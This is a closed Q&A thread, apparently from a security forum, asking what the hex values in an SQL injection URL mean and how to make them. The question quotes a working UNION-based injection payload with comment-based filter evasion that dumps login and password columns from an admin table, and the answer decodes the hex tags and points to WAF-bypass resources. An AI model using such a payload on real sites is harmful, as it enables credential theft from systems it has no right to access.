1. What would these hashes be in the query?
  2. How can I generate them?

http://www.example.com?id=-29/!50000UNION/ /!50000SELECT/ 1,2,0x3c68353e3c63656e7465723e494e4a45435445442042592041525452304e3c2f63656e7465723e3c2f68353e,4,5,0x494e4a45435445442042592041525452304e,7,8,9,10,11,12,13,14,15,16,17,18,/!50000UNHEX(HEX(GROUP_CONCAT(login,0x3a,senha)))/,0x494e4a45435445442042592041525452304e FROM administracao

closed as off-topic by Arminius, Xander, Steffen Ullrich, Rory Alsop Mar 31 '18 at 22:01

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Arminius, Xander, Steffen Ullrich, Rory Alsop
If this question can be reworded to fit the rules in the help center, please edit the question.

  • 6
    Gotta love casually posting a live SQLi bug for a government website. – forest Mar 30 '18 at 6:33

Regarding first question:

  1. 0x494e4a45435445442042592041525452304e translates to "INJECTED BY ARTR0N"
  2. 0x3c68353e3c63656e7465723e494e4a45435445442042592041525452304e3c2f63656e7465723e3c2f68353e translates to <h5><center>INJECTED BY ARTR0N</center></h5>

Regarding your second question, check OWASP WAF Bypass and search "String to Hex Converter", You will get what you asked for.

Not the answer you're looking for? Browse other questions tagged or ask your own question.